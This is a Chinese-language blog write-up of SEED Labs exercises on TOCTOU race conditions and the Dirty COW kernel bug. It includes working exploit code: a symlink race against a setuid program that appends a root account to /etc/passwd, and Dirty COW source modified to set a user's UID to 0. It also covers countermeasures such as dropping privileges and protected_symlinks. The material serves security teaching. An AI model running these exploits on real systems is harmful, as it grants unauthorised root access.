SEEDLabs TOCTOU & Dirty COW

SEEDLabs TOCTOU & Dirty COW

4.1 TOCTOU

实验原理

攻击目标代码中含有以下代码片段:

#include <stdio.h>
#include <unistd.h>
int main() {
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;
    /* get user input */
    scanf("%50s", buffer );
    if (!access(fn, W_OK)) {		// ①
        fp = fopen(fn, "a+");		// ②
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}

以上程序将一段用户输入的字符串追加到文件 /tmp/XYZ 中;① 是 time of check,② 是 time of use,由于这两句并不是原子操作,所以此进程有可能在中间被调度。攻击者可以利用此机会,改变 /tmp/XYZ 的指向,达到任意追加写的效果。

环境准备

① 关闭保护措施(每次重启虚拟机后都需要重新关闭):

$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0

② 编译 vulp.c ,并且将其所有者改为 root 用户、改其 UID:

$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp

Task 1

实验目标: 直接在 /etc/passwd 添加一行新的用户信息,以增加新用户

实验步骤:

① 以 sudo 命令、使用 vim 编辑器打开文件 /etc/passwd ,添加以下内容:

$ sudo vim /etc/passwd

请添加图片描述

其中的 Ua6aM... 是一段特殊的哈希值,代表空的密码

② 登录 test 用户,发现不需要输入密码,直接回车便可登录:

请添加图片描述

Task 2.A

实验目标: 模拟一个运行速度慢的程序,在其间进行 TOCTOU 攻击

实验方案:sleep() 期间更改文件 /tmp/XYZ 的指向,以达到对 /etc/passwd 追加写的目标

实验步骤:

① 在 vulp.c 的 TOC 和 TOU 中添加一句 sleep(10) ,并且重新运行、更改权限:

// vulp.c
if (!access(fn, W_OK)) {
    sleep(10);
    fp = fopen(fn, "a+");
    ...
$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp

② 首先将 /tmp/XYZ 指向别处,观察其信息:

$ ln -sf /dev/null /tmp/XYZ
$ ls -ld /tmp/XYZ

请添加图片描述

③ 删除 Task 1 中往 /etc/passwd 中添加的内容;运行 vulp.c ,输入需要添加的内容;

$ ./vulp
test:U6aMy0wojraho:0:0:test:/root:/bin/bash

④ 新开一个终端,在 10s 之内更改 /tmp/XYZ 的指向;

$ ln -sf /ect/passwd /tmp/XYZ

⑤ 10s 之后,再次打开 /etc/passwd ,发现 /etc/passwd 被修改:

请添加图片描述

Task 2.B

实验目标: 模拟正常情况,编写程序实现自动化攻击

实验方案: target_process.sh 可以自动实现对 victim 的反复执行和攻击成功的检测,因此我们需要编写攻击程序 attack.c ,实现自动地反复执行解除和恢复 /tmp/XYZ/etc/passwd 的软链接,期待某次能够通过检查后并且在打开文件前使得 /tmp/XYZ 指向 /etc/passwd ,实现 TOCTOU 攻击

实验步骤:
① 恢复环境:修改/tmp/XYZ 的指向,删除刚刚向 /etc/passwd 中写的内容:

$ ln -sf /dev/null /tmp/XYZ

② 删除 vulp.c 中的 sleep(10) ,重新编译、更改权限:

// vulp.c
if (!access(fn, W_OK)) {
    // sleep(10);
    fp = fopen(fn, "a+");
    ...
$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp

③ 编写攻击程序 attack.c 并编译,使用死循环完成自动攻击:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main () {
    while (1) {
        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
    }
    return 0;
}
$ gcc -o attack attack.c

④ 运行脚本 target_process.sh ,可以观察到脚本在反复运行 vulp ,并且使用管道将用户 test 的信息作为 vulp 的输入;while 循环的判断条件是 /etc/passwd 文件是否被修改过

#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]  
do
   echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp 
   new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
$ ./target_process.sh

⑤ 以sudo 命令运行 ./attack ,等待大约 3min 后观察到攻击成功:

$ sudo ./attack

请添加图片描述

Task 2.C

实验目标: 更改攻击程序,加快攻击速度

实验方案: Task 2.B 中有两条指令完成更改链接的动作,命中率较低; renameat2() 指令可以交换两个链接,为原子操作,能够提高命中率

实验步骤:

① 恢复环境:创建两个新的链接 /tmp/ABC/tmp/XYZ ;删除刚刚向 /etc/passwd 中写的内容:

$ ln -sf /dev/null /tmp/XYZ
$ ln -sf /dev/null /tmp/ABC

② 修改 attack.c 中的程序,使用 renameat2() 函数交换两个链接;重新编译:

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main () {
    while (1) {
        unsigned int flags = RENAME_EXCHANGE;
        unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
        unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
        renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    }
    return 0;
}
$ gcc -o attack attack.c

③ 运行脚本 target_process.sh ,在另一个终端行 attack ;大概几秒钟就可以观察到运行结果:

$ ./target_process.sh
$ ./attack

请添加图片描述

Task 3.A

实验目标:vulp.c 进行修改,实现最小权限原则

实验步骤:

① 由于我们希望 vulp.c 只能修改实际的用户具有写权限的那些文件,因此在写操作之前把 euid 改成实际的 uid,写操作完成过后再恢复为原来的 euid:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;
    
    // changed
    uid_t euid = getegid();
    seteuid(getuid());
    
    scanf("%50s", buffer);
    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }
    
    // changed
    seteuid(euid);
    
    return 0;
}

② 再重新编译、恢复环境,重复 Task 2.C 中的攻击,发现等待好几分钟都无法成功

请添加图片描述

Task 3.B

实验目标: 开启 Ubuntu 的保护措施,观察其作用

实验步骤:

① 开启 Ubuntu 的 protected_symlinks:

$  sudo sysctl -w fs.protected_symlinks=1

② 恢复环境:还原刚刚对 vulp.c 的修改,重复 Task 2.C 中的攻击,发现无法成功:

请添加图片描述

③ 原理:由于 /tmp 是所有用户都可写的文件夹,因此很容易使用以上方式利用 TOCTOU 的漏洞进行攻击;Ubuntu 10 以后增加这项保护机制:

When set to “1”, symlinks are permitted to be followed only when outside a sticky world-writable directory, or when the uid of the symlink and follower match, or when the directory owner matches the symlink’s owner.

由于 /tmp/XYZ 的所有者是 SEED,而当前 euid 和 /tmp 的所有者都是 root,因此没有权限使用,这样可以避免在 /tmp 这类所有用户都可写的文件夹中,用户任意篡改其他用户所有的文件

4.2 Dirty COW

Task 1

实验目标: 使用 cow_attack.c ,对 /zzz 文件发动 Dirty COW 攻击

实验步骤:

① 首先在根目录创建 /zzz 文件,更改权限,发现普通用户只读:

请添加图片描述

② 编译并运行 cow_attack.c ,注意这个程序用到了 POSIX 的 thread,因此要加上 -lpthread 选项:

$ gcc -o cow_attack cow_attack.c -lpthread

过一会儿,观察 /zzz 的内容,发现已经被改变:

请添加图片描述

③ 原理:由于 writeTrheadmadviseThread 是同时运行的;所以有可能在执行 COW 的某一时刻,把刚刚由原来只读的 page (记为 RO page1)复制出来的新的 page(记为 COW page)又 swap 到磁盘里,导致 follow_page_mask 发现又缺页,又把原来那份 page 从磁盘移到内存中(记为 RO page2 )来满足条件;结果之后写的时候是对 RO page2 写,而不是对 COW page 写;当 RO page2 被换掉时,就会写回到磁盘上的只读的原 page

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[]) {
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open("/zzz", O_RDONLY);

  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "222222");                        

  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
  pthread_create(&pth2, NULL, writeThread, position);             

  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

void *writeThread(void *arg) {
  char *content= "******";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}

void *madviseThread(void *arg) {
  int file_size = (int) arg;
  while(1) {
      madvise(map, file_size, MADV_DONTNEED);
  }
}

Task 2

实验目标: 利用 Dirty COW 实现对 /etc/passwd 的修改,以获得 root 权限

实验步骤:

① 创建一个新的用户 charlie ,作为被修改对象:

$ sudo adduser charlie

请添加图片描述

② 备份 /etc/passwd ,防止之后实验出错

③ 修改 cow_attack.c :要保证长度一致,因此将 UID 改为 0000

...
int main(int argc, char *argv[]) {
  ...
  // Open the target file in the read-only mode.
  int f=open("/etc/passwd", O_RDONLY);
  ...
  // Find the position of the target area
  char *position = strstr(map, "charlie:x:1001");                        
  ...
}

void *writeThread(void *arg) {
  char *content= "charlie:x:0000";
  ...
}

④ 编译并运行 cow_attack.c ,一段时间后停止运行:

$ gcc -o cow_attack cow_attack.c -lpthread

⑤ 登录用户 charlie ,发现 charlie 的 UID 已经被改变:

请添加图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Air浩瀚

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值